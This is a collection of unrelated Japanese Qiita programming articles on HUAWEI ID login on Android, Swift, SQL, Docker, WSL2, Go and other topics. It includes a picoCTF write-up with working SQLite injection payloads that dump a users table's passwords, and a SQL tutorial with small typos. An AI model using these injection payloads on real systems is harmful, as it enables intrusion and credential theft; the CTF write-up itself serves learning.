OmniAICreator/Qiita-1.07M huggingface dataset:
Android端末におけるHUAWEI IDログイン機能の詳細実装手順１０－GMS端末で権限取り消し

# REST APIによる権限取り消し機能の実装方法
次のAPIでログイン時に返ってきたアクセストークン（IDトークンではない）をパラメータとして渡し、権限を取り消します。

API：https://oauth-login.cloud.huawei.com/oauth2/v3/revoke
メソッド：POST
パラメータ：

|パラメータ名|値|
|:---:|:---|
|token|https://oauth-login.cloud.huawei.com/oauth2/v3/token のレスポンスのaccess_token|


```kotlin:HmsHuaweiIdLogic.kt
override fun cancelAuthorization(context: Context, accessToken: String) {
    val queue = Volley.newRequestQueue(context)

    val postRequest: StringRequest = object : StringRequest(
        Method.POST,
        "https://oauth-login.cloud.huawei.com/oauth2/v3/revoke",
        object : Response.Listener<String> {
            override fun onResponse(response: String?) {
                // 権限取り消し成功
            }
        },
        object : Response.ErrorListener {
            override fun onErrorResponse(error: VolleyError?) {
                error?.printStackTrace()
            }
        }
    ) {
        override fun getBodyContentType(): String {
            return "application/x-www-form-urlencoded"
        }

        override fun getParams(): Map<String, String> {
            val params: MutableMap<String, String> = HashMap()
            params["token"] = accessToken
            return params
        }
    }

    queue.add(postRequest)
}
```

# シリーズ
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順１－ソリューションの概要](https://qiita.com/Rei_2020/items/e02814bd688a41ab8702)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順２－実装準備](https://qiita.com/Rei_2020/items/2eb9dada38cdfc2729ef)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順３－HMS判定](https://qiita.com/Rei_2020/items/285107103be525ce3f98)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順４－HMS端末でログイン](https://qiita.com/Rei_2020/items/548781581caf3e2f4046)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順５－HMS端末でログアウト](https://qiita.com/Rei_2020/items/cc214859b82f518a1cd7)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順６－HMS端末で権限取り消し](https://qiita.com/Rei_2020/items/a04a5894d5e565db969d)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順７－GMS端末でログイン１](https://qiita.com/Rei_2020/items/0a7172d22817a5ae110f)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順８－GMS端末でログイン２](https://qiita.com/Rei_2020/items/c083a16ef016eecdd5ad)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順９－GMS端末でログアウト](https://qiita.com/Rei_2020/items/c0c1f1a68bfd0216cdd3)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順１０－GMS端末で権限取り消し](https://qiita.com/Rei_2020/items/2afd389ae123e0552cae)

# GitHub
* https://github.com/Rei2020GitHub/MyPublicProject/tree/master/AccountDemo(H%2BG)

# 参考
* HMS：https://developer.huawei.com/consumer/jp/
* HMS Account Kitの紹介：https://developer.huawei.com/consumer/jp/doc/overview/HMS
* HMS Account Kitのドキュメント：https://developer.huawei.com/consumer/jp/doc/development/HMSCore-Guides-V5/introduction-0000001050048870-V5
* Huawei Developers：https://forums.developer.huawei.com/forumPortal/en/home
* Facebook Huawei Developersグループ：https://www.facebook.com/Huaweidevs/
Android端末におけるHUAWEI IDログイン機能の詳細実装手順９－GMS端末でログアウト

# REST APIによるログアウト機能の実装方法
ログアウトのREST APIがありません。そのため、ログアウト時に行うのは、ユーザー情報を非表示にするなどの処理だけでよいです。

```kotlin:NonHmsHuaweiIdLogic.kt
override fun signOut() {
    // ローカルのログイン情報を消す
}
```

# シリーズ
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順１－ソリューションの概要](https://qiita.com/Rei_2020/items/e02814bd688a41ab8702)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順２－実装準備](https://qiita.com/Rei_2020/items/2eb9dada38cdfc2729ef)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順３－HMS判定](https://qiita.com/Rei_2020/items/285107103be525ce3f98)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順４－HMS端末でログイン](https://qiita.com/Rei_2020/items/548781581caf3e2f4046)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順５－HMS端末でログアウト](https://qiita.com/Rei_2020/items/cc214859b82f518a1cd7)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順６－HMS端末で権限取り消し](https://qiita.com/Rei_2020/items/a04a5894d5e565db969d)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順７－GMS端末でログイン１](https://qiita.com/Rei_2020/items/0a7172d22817a5ae110f)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順８－GMS端末でログイン２](https://qiita.com/Rei_2020/items/c083a16ef016eecdd5ad)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順９－GMS端末でログアウト](https://qiita.com/Rei_2020/items/c0c1f1a68bfd0216cdd3)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順１０－GMS端末で権限取り消し](https://qiita.com/Rei_2020/items/2afd389ae123e0552cae)

# GitHub
* https://github.com/Rei2020GitHub/MyPublicProject/tree/master/AccountDemo(H%2BG)

# 参考
* HMS：https://developer.huawei.com/consumer/jp/
* HMS Account Kitの紹介：https://developer.huawei.com/consumer/jp/doc/overview/HMS
* HMS Account Kitのドキュメント：https://developer.huawei.com/consumer/jp/doc/development/HMSCore-Guides-V5/introduction-0000001050048870-V5
* Huawei Developers：https://forums.developer.huawei.com/forumPortal/en/home
* Facebook Huawei Developersグループ：https://www.facebook.com/Huaweidevs/
Android端末におけるHUAWEI IDログイン機能の詳細実装手順６－HMS端末で権限取り消し

# Android SDKによる権限取り消し機能の実装方法
１．HUAWEI ID認証サービスのcancelAuthorization()を使って権限を取り消します。
２．処理結果のコールバックをaddOnCompleteListener()で追加すれば、権限取り消し結果（isSuccessful）を受け取れます。

```kotlin:HmsHuaweiIdLogic.kt
override fun cancelAuthorization(context: Context) {
    authManager?.let {
        it.cancelAuthorization().addOnCompleteListener { task ->
            if (task.isSuccessful) {
                // 権限取り消しが成功したときの処理
            } else {
                // 権限取り消しが失敗したときの処理
            }
        }
    }
}
```

# シリーズ
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順１－ソリューションの概要](https://qiita.com/Rei_2020/items/e02814bd688a41ab8702)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順２－実装準備](https://qiita.com/Rei_2020/items/2eb9dada38cdfc2729ef)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順３－HMS判定](https://qiita.com/Rei_2020/items/285107103be525ce3f98)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順４－HMS端末でログイン](https://qiita.com/Rei_2020/items/548781581caf3e2f4046)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順５－HMS端末でログアウト](https://qiita.com/Rei_2020/items/cc214859b82f518a1cd7)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順６－HMS端末で権限取り消し](https://qiita.com/Rei_2020/items/a04a5894d5e565db969d)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順７－GMS端末でログイン１](https://qiita.com/Rei_2020/items/0a7172d22817a5ae110f)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順８－GMS端末でログイン２](https://qiita.com/Rei_2020/items/c083a16ef016eecdd5ad)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順９－GMS端末でログアウト](https://qiita.com/Rei_2020/items/c0c1f1a68bfd0216cdd3)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順１０－GMS端末で権限取り消し](https://qiita.com/Rei_2020/items/2afd389ae123e0552cae)

# GitHub
* https://github.com/Rei2020GitHub/MyPublicProject/tree/master/AccountDemo(H%2BG)

# 参考
* HMS：https://developer.huawei.com/consumer/jp/
* HMS Account Kitの紹介：https://developer.huawei.com/consumer/jp/doc/overview/HMS
* HMS Account Kitのドキュメント：https://developer.huawei.com/consumer/jp/doc/development/HMSCore-Guides-V5/introduction-0000001050048870-V5
* Huawei Developers：https://forums.developer.huawei.com/forumPortal/en/home
* Facebook Huawei Developersグループ：https://www.facebook.com/Huaweidevs/
Android端末におけるHUAWEI IDログイン機能の詳細実装手順５－HMS端末でログアウト

# Android SDKによるログアウト機能の実装方法
１．HUAWEI ID認証サービスのsignOut()を使ってログアウトします。
２．ログアウト処理の成功時コールバックと失敗時コールバックを追加します。
３．成功した場合、アプリの仕様次第、表示中のユーザー情報を非表示にするなどの処理を行います。

```kotlin:HmsHuaweiIdLogic.kt
override fun signOut() {
    authManager?.let {
        val signOutTask: Task<Void> = it.signOut()
        signOutTask.addOnSuccessListener {
            // ログアウトが成功したときの処理
        }.addOnFailureListener { exception ->
            // ログアウトが失敗したときの処理
            exception.printStackTrace()
        }
    }
}
```

# シリーズ
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順１－ソリューションの概要](https://qiita.com/Rei_2020/items/e02814bd688a41ab8702)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順２－実装準備](https://qiita.com/Rei_2020/items/2eb9dada38cdfc2729ef)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順３－HMS判定](https://qiita.com/Rei_2020/items/285107103be525ce3f98)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順４－HMS端末でログイン](https://qiita.com/Rei_2020/items/548781581caf3e2f4046)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順５－HMS端末でログアウト](https://qiita.com/Rei_2020/items/cc214859b82f518a1cd7)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順６－HMS端末で権限取り消し](https://qiita.com/Rei_2020/items/a04a5894d5e565db969d)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順７－GMS端末でログイン１](https://qiita.com/Rei_2020/items/0a7172d22817a5ae110f)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順８－GMS端末でログイン２](https://qiita.com/Rei_2020/items/c083a16ef016eecdd5ad)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順９－GMS端末でログアウト](https://qiita.com/Rei_2020/items/c0c1f1a68bfd0216cdd3)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順１０－GMS端末で権限取り消し](https://qiita.com/Rei_2020/items/2afd389ae123e0552cae)

# GitHub
* https://github.com/Rei2020GitHub/MyPublicProject/tree/master/AccountDemo(H%2BG)

# 参考
* HMS：https://developer.huawei.com/consumer/jp/
* HMS Account Kitの紹介：https://developer.huawei.com/consumer/jp/doc/overview/HMS
* HMS Account Kitのドキュメント：https://developer.huawei.com/consumer/jp/doc/development/HMSCore-Guides-V5/introduction-0000001050048870-V5
* Huawei Developers：https://forums.developer.huawei.com/forumPortal/en/home
* Facebook Huawei Developersグループ：https://www.facebook.com/Huaweidevs/
Android端末におけるHUAWEI IDログイン機能の詳細実装手順３－HMS判定

# HMS判定方法
HuaweiApiAvailability.getInstance().isHuaweiMobileServicesAvailable()で判定します。
端末にHMSが入っている、戻り値がtrueになり、HMSが入っていなければ、戻り値がfalseになります。

```kotlin
if (com.huawei.hms.api.ConnectionResult.SUCCESS == HuaweiApiAvailability.getInstance().isHuaweiMobileServicesAvailable(context)) {
    // HMSあり
    // HMS Account KitのAndroid SDKを使います
} else {
    // HMSなし
    // HMS Account KitのREST APIを使います
}
```

Strategy パターンを使う場合、ソースコードが次のようになります。

```kotlin:MainActivity.kt
private lateinit var huaweiIdLogic: HuaweiIdLogic

override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    ...

    huaweiIdLogic = if (com.huawei.hms.api.ConnectionResult.SUCCESS == HuaweiApiAvailability.getInstance().isHuaweiMobileServicesAvailable(context)) {
        HmsHuaweiIdLogic()
    } else {
        NonHmsHuaweiIdLogic()
    }
}
```

# シリーズ
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順１－ソリューションの概要](https://qiita.com/Rei_2020/items/e02814bd688a41ab8702)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順２－実装準備](https://qiita.com/Rei_2020/items/2eb9dada38cdfc2729ef)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順３－HMS判定](https://qiita.com/Rei_2020/items/285107103be525ce3f98)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順４－HMS端末でログイン](https://qiita.com/Rei_2020/items/548781581caf3e2f4046)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順５－HMS端末でログアウト](https://qiita.com/Rei_2020/items/cc214859b82f518a1cd7)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順６－HMS端末で権限取り消し](https://qiita.com/Rei_2020/items/a04a5894d5e565db969d)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順７－GMS端末でログイン１](https://qiita.com/Rei_2020/items/0a7172d22817a5ae110f)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順８－GMS端末でログイン２](https://qiita.com/Rei_2020/items/c083a16ef016eecdd5ad)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順９－GMS端末でログアウト](https://qiita.com/Rei_2020/items/c0c1f1a68bfd0216cdd3)
- [Android端末におけるHUAWEI IDログイン機能の詳細実装手順１０－GMS端末で権限取り消し](https://qiita.com/Rei_2020/items/2afd389ae123e0552cae)

# GitHub
* https://github.com/Rei2020GitHub/MyPublicProject/tree/master/AccountDemo(H%2BG)

# 参考
* HMS：https://developer.huawei.com/consumer/jp/
* HMS Account Kitの紹介：https://developer.huawei.com/consumer/jp/doc/overview/HMS
* HMS Account Kitのドキュメント：https://developer.huawei.com/consumer/jp/doc/development/HMSCore-Guides-V5/introduction-0000001050048870-V5
* Huawei Developers：https://forums.developer.huawei.com/forumPortal/en/home
* Facebook Huawei Developersグループ：https://www.facebook.com/Huaweidevs/
UIButton の角丸とカラー周りを、Swiftで。

#swift で、UIButtonを象るタグたち。
####まずアウトレット接続する方法と、シート内で作る方法の二通りがあり、

```swift
let button1 = UIButton()
button1.frame = CGRect(x: 20, y: self.view.frame.size.height/2-22, width: self.view.frame.size.width-40, height: 44)
button1.setTitle("My Button", for: .normal)
button1.setTitleColor(.brown, for: .normal)
button1.backgroundColor = .black
button1.layer.cornerRadius = 15
button1.layer.borderWidth = 3
button1.layer.borderColor = .purple
self.view.addSubView(button1)

```
最下段のサブビューのくだりは、小のシート上で簡潔するボタンメイク、アウトレット接続の場合は、いらない。
また、シート全体で使う場合は、イニシャライズ(初期化)を、

```swift
import UIKit

class ViewController: UIViewController {
   var button1 = UIButton()
   override viewDidLoad() {

   }
}
```
とViewDidLoad（）　のそとで定義することが必要。
SQL データの更新　サブクエリ

こちらの記事では、私が学んだSQLについて記載しております。
自身の忘れないためのメモとしております。
間違っている部分もあるかもしれませんので、ご了承ください。


#データの更新 insert into

```
insert into 
 テーブル名　（列１、列２、列３・・・・）
values
 （値１、値２、値３・・・・）
＊注意　列リストとvaluesの値リストは、列数が一致している必要がある

例　テーブル名　users カラム名name,age
名前が田中　年齢25歳のデータを更新する！
insert into usres(name,age)values('田中','２５');
```

#列リストを省略してinsertを行う！
```
valuesに列の定義順、カンマ区切りで値を設定。
ただし、全列に対して、値を指定する必要がある！！
・記述方法
insert テーブル名 values(値１,値２,値３、、、);

例　テーブル名　users  テーブルのカラムが３つあれば、３つとも記述する！！
insert usres values(24,'大阪',２０２１);

---------------------------------------------------------------
***複数行を一度でinsertする！***
・記述方法
insert into 
	テーブル名(カラム名,カラム名)
values
	(値１,値２),
	(値３,値４),
	(値５,値６);

```

#データの更新 update
```
・記述方法
update テーブル名　set 列１ = 値１, [列2 = 値2]
[where 条件式]；

例　テーブル名　foods カラム名　price
税込を入れた価格を出す
update foods set price = price * 1.1;

---------------------------------------------------------------------
***特定の条件の合致する行のデータを更新する！***
・記述方法
update テーブル名 set カラム名 = 値１ where 条件式；

例　テーブル名 users カラム名　name, age
テーブルusers　id：１０　name:佐藤　age:25  
name:田中　age:30に更新する場合下記の記述になる。

update users set name = '田中',price = 30 where id = 10;
```

#更新条件にサブクエリを使用

```
update
	products
set
	price = price * 1.05
where
 id in(　　　　　←サブクエリ
　　select 
　　　　product_id 
　　from 
　　　　order_details
　　group by 
　　　　product_id
    having 
　　　　sum(product_qty) >= 10
 );
```

#行の削除を行う delete
```
・記述方法
delete from テーブル名;

＊＊注意　deleteでで駆除したデータは、基本的には元には戻せない。
　　　  大量のデータをdeleteするときに予想外に時間がかかる時がある。
　　　　１０万件以上からのデータには注意すること！！！！

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
＊＊＊条件を指定して削除を行う＊＊＊
・記述方法
delete from テーブル名[where 削除条件];

例　テーブル名　users id:10を削除する
delete from users where id = 10;

＊＊注意　　whereを忘れてしまうと、テーブル全体が削除対象になるので注意です！！！！！

-----------------------------------------------------------------------
＊＊＊削除条件にサブクセリを使用する＊＊＊
商品が一つも売れていない物は削除する！！
delete 
from 
	products 
where 
	id not in(
	select 　　←サブクエリで売れている商品を取得し、notを使用しそれ以外を削除する
		product_id
    from
		order_details 
    group by 
		product_id
    );

```
Dockerではまったところ。

備忘録。
##コンテナ上で文字化けする
コンテナに接続して一時的にファイルを書き換えようとしたら文字化けして読めなかった。
vimの設定を変えてみたりしても治らなかった。

###原因
ロケールの設定がそもそもされてなかった。

###対応
ロケールを設定するだけだが、Docker上だと

```
Failed to create bus connection
```

のエラーが出て直接設定できないので、最初からDockerfileに書いておくと面倒なことしないで済む。

```Dockerfile:Dockerfile
RUN localedef -f UTF-8 -i ja_JP ja_JP.UTF-8
ENV LANG="ja_JP.UTF-8" \
    LANGUAGE="ja_JP:ja" \
    LC_ALL="ja_JP.UTF-8"
```

##CGIが変。
WordPressとは関係ないが、デフォルトのcentosイメージだとCGIに入れてた画像やCSSなどが効かなかった。
直接画像を表示しても500エラーになる。

###原因
Apacheの設定はデフォルトだとcgi-bin配下のファイルは全てcgiとして見ているらしい。
そのためcgiとして画像やcssを実行しようとして失敗しているらしい。

###対策
http.confに各拡張子ごとのハンドラを設定する。
該当のcgi-binの設定部分に下記のように追記する。

```config:http.conf
AddHandler text/css  css
//AddHandler "mineType" "拡張子" 
```
Drone.ioで任意のタイミングで特定のテストを実行する

# Drone.ioで好きなタイミングでテストを走らせたい

Drone.ioで実施するCIはCLIを使うとローカルでも実行することができます。しかし、Secretを手元に用意したり、CI環境と手元の環境の違いなどにより、テストを手元で実行することが難しいことがあります。

もちろんpushしたりtagを作ったりすればCIは実行されますが、それをやりたくないこともあります。

そんな時に役立つのがAPIによるテストの実行です。

# APIによるテストの実行

よくよくDroneのAPIを見てみると Build CreateのAPIで、独自のevent `custom`をAPI経由で発行できることに気づきました。

https://readme.drone.io/api/builds/build_create/

あとは、手動トリガーで実行したいテストに `custom`のeventで発火するように`.drone.yml`の`.trigger.event`を変更しておくと、好きなタイミングでテストを実行できるようになります。

ビルドを実行するためのワンライナー はこんな感じ。

```
$ curl -X POST "https://<droneのアドレス>/api/repos/<user>/<repository>/builds?branch=${TARGET_BRANCH}" -H "Authorization: Bearer ${DRONE_PERSONAL_TOKEN}"
```

以上 ちょっとしたDrone.ioのTipsでした！
全ての端末に対応するための CGRect Swift 編

#すべの端末に対応する、Viewportタグを、Swiftで作る
####CGRectでこのようになります。
まず、オブジェクトをパーツとして、アウトレット接続します。それからコードを作ります。

```swift
view1.frame = CGRect(x: 0, y: 0, width: self.view.frame.size.width, height: self.view.frame.size.height)

button1.frame = CGRect(x: 10, y: self.view.frame.size.height/2-120, width: self.view.frame.size.width-20, 44)

```

まず、内容は、フレーム（入れ子）の、CGRect、いわゆる、CGRect(x: 左からの位置, y: 上からの位置, width: 幅, height: 高さ)
を、自身のフレームを指す、self その view とその frame size width/height で　X、Yでは、開始位置が、右から、下から、Width、Heightでは、幅、高さ、いっぱいからの、マイナス数値などで構成されるもので、htmlで言うところの、viewport タグである。
Windows10HomeのWSL2でディスクを解放する方法

#環境
研究活動でLinux(Ubuntu)のほうが使い勝手がいいということで、Windows10HomeにWSL2を使ってUbuntuをインストールして使っていました。
使い始めは問題なかったのですが、研究分野の事情で大容量のデータを扱うことに...
全く気にせずに使っていたらいつの間にか*.vhdxが100GBくらい使っていました。
どうやらWSL2はディスク容量をホストに返してくれないらしいです。
どうしたものかと調べていたら、Hyper-Vを有効にして*.vhdxを最適化しろ、とのこと。しかし、こちらはWindows10Home、Hyper-Vがない‼
ということで、いろいろと困ったので一応メモしておきます。

#Windows10Homeでのディスク解放

-とりあえず、管理者権限でPowerShellを実行する。そして、WSL2を停止する。

```
>wsl --shutdown
```

-diskpartを起動する。

```
>diskpart
```

-次に*.vhdxファイルのパスを指定

```
DISKPART>select vdisk file="C:\Users\[user_name]\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\ext4.vhdx"
DISKPART>attach vdisk readonly
```

-最適化して終了

```
DISKPART>compact vdisk
DISKPART>detach vdisk
DISKPART>exit
```

これで、WSL2が余分なディスク容量を解放してくれる。

ふぅ、めんどくさい。
picoCTF 2021 Startup Company

できなかった問題をwriteup等を参考に勉強した記録を残す。

# Startup Company

http://mercury.picoctf.net:44720/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/196f16b5-54fb-c534-7cb4-07616e7bc14c.png)

Register のリンクから登録して

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/6f797a7d-3640-498d-3fc8-6bf3fb6983d4.png)

ログインすると，寄付を募るページ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/6cd95257-4c4d-8612-ec02-e569f0543ad4.png)

１ドル寄付してみた
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/3caa9493-1044-c1be-7cf3-fb43b42aeee0.png)

'を入力してみた
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/94c51068-1f30-b7ef-cdba-b1ae3fe9ac83.png)

チェック処理がある

Fiddlerで'を送ってみる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/18c3532c-f26a-3659-791d-b50a9d6c048e.png)
Database error -> SQLiの可能性アリ

ヒント
sqlite

https://www.dbonline.jp/sqlite/function/index26.html

SQLiがとおるか？

```
moneys='||(select sqlite_version()) --
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/25de67dc-8d0a-08ee-39b1-86964b582d4a.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/ea32fe60-3231-8229-5082-aa4a13f10c30.png)

http://kurokawh.blogspot.com/2013/09/sqlite-sqlite.html

テーブル数確認

```
moneys='||(select count(*) from sqlite_master where type = "table") --
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/addf51b2-bb36-fdd3-7aef-65128e8c4c8e.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/9fcea140-8d36-cc07-1c23-a2816e383c62.png)

テーブル名確認（複数テーブルがあったときに備えてlimit使用）

```
moneys='||(select name from sqlite_master where type = "table" limit 0,1) --
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/13381254-f4f4-3c46-85d6-5109511d2ef6.png)

テーブル作成時のsql確認

```
moneys='||(select sql from sqlite_master where name = "startup_users") --
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/3b038a34-7c53-239f-5acc-73d2b0a0f5f8.png)

wordpassにフラグが入ってそう。
件数を数えてみる

```
moneys='||(select count(*) from startup_users) --
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/65893721-6bc7-e66f-f749-c8ba1099306e.png)
多いな
limit だと39回か。しんどい。

https://www.dbonline.jp/sqlite/function/index5.html

```
moneys='||(select group_concat(wordpass) from startup_users) --
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/b86149ed-ef39-236a-fb31-c9d3d4db0cdf.png)

limitでも7回目で成功するように仕込んでる。
[api document]  JApiDocsを使って、spring bootのapi documentの自動作成

# 概要
[JApiDocs](https://github.com/YeDaxia/JApiDocs)とはアノテーションを書かなくても、apiのドキュメントを自動生成できるライブラリーだそうです。便利かなと思い、使ってみました。
> A magical api documentation generator without annotation for springboot.

# requirement
* Supported JDK：1.8+
* maven・gradle(今回は Gradle 6.8.3を使います)
* spring-boot cli(Spring CLI v2.4.4)

# OS
macOS

# 手順
## spring-boot cliを使い、spring bootのプロジェクトを作成

```bash
spring init --build=gradle --java-version=1.8 --dependencies=web japidoc
```

上記のコマンドを実行し終わると下記のようなディレクトリは作成されました。

```bash
├── HELP.md
├── build.gradle
├── gradlew
├── gradlew.bat
├── settings.gradle
├── src
│   ├── main
│   │   ├── java
            |- com.example.japidoc
               |- DemoApplication.java
```

## JApiDocsの依頼を追加

build.graldeにJApiDocsを追加

```kotlin
// build.gradle
dependencies {
  implementation 'org.springframework.boot:spring-boot-starter-web'
  testImplementation 'org.springframework.boot:spring-boot-starter-test'
  // japidocs追加
  implementation 'io.github.yedaxia:japidocs:1.4.4'
}
```

## JApiDocsを設定する

`main()`メソッドに下記のコードを追加

```java
public class DemoApplication {
	final static String version = "v1.0";
	public static void main(String[] args) {
		SpringApplication.run(DemoApplication.class, args);
// JApiDocの設定を追加する
		DocsConfig config = new DocsConfig();
		String userDirectory = System.getProperty("user.dir");
// 項目のrootパスを設定する
		config.setProjectPath(userDirectory);
// 項目名設定		config.setProjectName(Paths.get(userDirectory).getFileName().toString());
// 項目バージョンを設定する
		config.setApiVersion(version);
// apiドキュメントの出力ディレクトリを設定する
		config.setDocsPath(userDirectory);
// 自動出力
		config.setAutoGenerate(Boolean.TRUE);
// markdownファイルプラグインを追加してあげれば、markdownファイルの出力も可能となる
// htmlファイルを出力
		config.addPlugin(new MarkdownDocPlugin());
		Docs.buildHtmlDocs(config);
	}

}
```

## controllerを書いてみる

下記のcontrollerを追加し、apiのドキュメントを作成してみる

```java
/**
 * User API
 * @description this is a class
 */
@RestController
public class HelloWorld {

    /**
     * hello world
     * @description this is a method
     * @param msg
     */
    @RequestMapping(path = "list", method = {RequestMethod.GET})
    public String home(@RequestParam String msg) {
        return "Hello World!";
    }

    @ApiDoc(stringResult = "{code: 0, data: 'success'}")
    @GetMapping(value = "custom-json")
    public String customJsonResult(){ return "ok"; }
}
```

## ドキュメントは出力された

```bash
v1.0
├── apidoc.log
├── com_example_japidoc_HelloWorld.html
├── com_example_japidoc_controller_HelloWorld.html

├── index.html
├── japidoc-v1.0-api-docs.md
└── style.css
```

index.htmlを開くみると下記の感じです。

![スクリーンショット 2021-04-01 15.17.57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1184340/1b5c5d1c-30b1-9c63-427a-966a2235b5c4.png)

もっと細かい設定は[ここ](https://japidocs.agilestudio.cn/#/)参考します。

# 感想
swaggerはpost、curlコマンドなども用意してくれて、便利ですが、markdownファイルの出力なら、ちょっと面倒気がしまして、JApiDocsと併用する形なら、さらに便利になるかもしれません。
Go言語 strings.ReplaceAllについて（文字列の一斉変更、スペースの削除等）

# Go言語の文字列書き換え
Go言語において文字列内の特定の文字を変更したい、もしくはスペースをなくしたい時などには、strings.ReplaceAllが有効です。

#使い方
まず import "strings" を行う必要があります。
strings.Replace(str, oldString, newString) string という形式になっています。
第一引数において変更を行いたい文字列を指定します。 
第二引数では、変更をする文字の指定を行います。
第三引数では、変更後の文字列の指定を行います。
そして、変更された文字列はstring型で返されます。

# 例）文字列内のスペースの全削除
文字列の中に存在しているスペースをすべて削除する方法を例として説明します。

```
example := "123 23 23"
example = strings.ReplaceAll(example, " ","")
fmt.Printf("example:%s\n",example)
```
----

```
//出力結果
1232323
```

まず、文字列としてexampleを第一引数に指定しています。次にスペースを取り除きたいので第二引数をスペースとしています。最後に文字を入れ替えるのではなく、スペースの削除をしてその分文字列を前に詰めるため、第三引数は""のように空にしています。これによって、スペースの一斉削除を行うことが出来ます。
AWS エラー解決 Uncaught ReferneceError:PhpDebugBar

#はじめに
AWSのデプロイを完了はしましたが`Uncaught ReferneceError:PhpDebugBar is not defined
`というエラーが出ました。最初にローカル環境でデバックツールを導入したので本番環境では不必要になります。こちらを削除する為に備忘録として投稿致します。

![“スクリーンショット” 2021-03-30 11.15.49.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/698439/103d643d-fffc-5d78-1d98-58ed5d349d9b.jpeg)


#ステップ1
Configフォルダのappを編集

```app.php
'debug' => env('APP_DEBUG', false),
```

#ステップ２
ローカル環境にて実行するアプリをディレクトリに設定して下記を実行

```
composer remove barryvdh/laravel-debugbar
```

#ステップ3
デバックバーを削除できたので`composer.json`と`composer.lock`の二つの設定ファイルを書き換える必要があります。なので

```
composer install
```
を実行して下さい。

#ステップ４
最後にGitHub DesktopにてマージしてEC2にて`git pull`で上書きを実行。これで削除ができると思います。
プロダクトキーをもらったけど使えなかった件

プロダクトキー関連での失敗談を共有
知人がWindowsPCを買い換えたところ、Officeのプロダクトキーがついてきた
初期設定を行う代わりに、付属のプロダクトキーを譲ってもらえるとのこと
いざ、自分のMacにインストールしようと思い、下記手順を実行

###実施手順
1. マイクロソフトアカウントを作成し、プロダクトキーを適用
2. 「サービスとサブスクリプション」からインストールを実行
3. ダウンロード済みのファイルを展開し、Excelを起動
4. アカウント認証が求められたため、ログインすると「ライセンスがありません」エラー

![スクリーンショット 2021-04-01 14.55.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1066052/58c1b156-bc3a-0e8e-9f4e-0fa398edf9a1.png)

###問い合わせ
>Officeインストール関連の問い合わせ先：0120-54-2244
音声ガイダンス:1-1-1-1-2

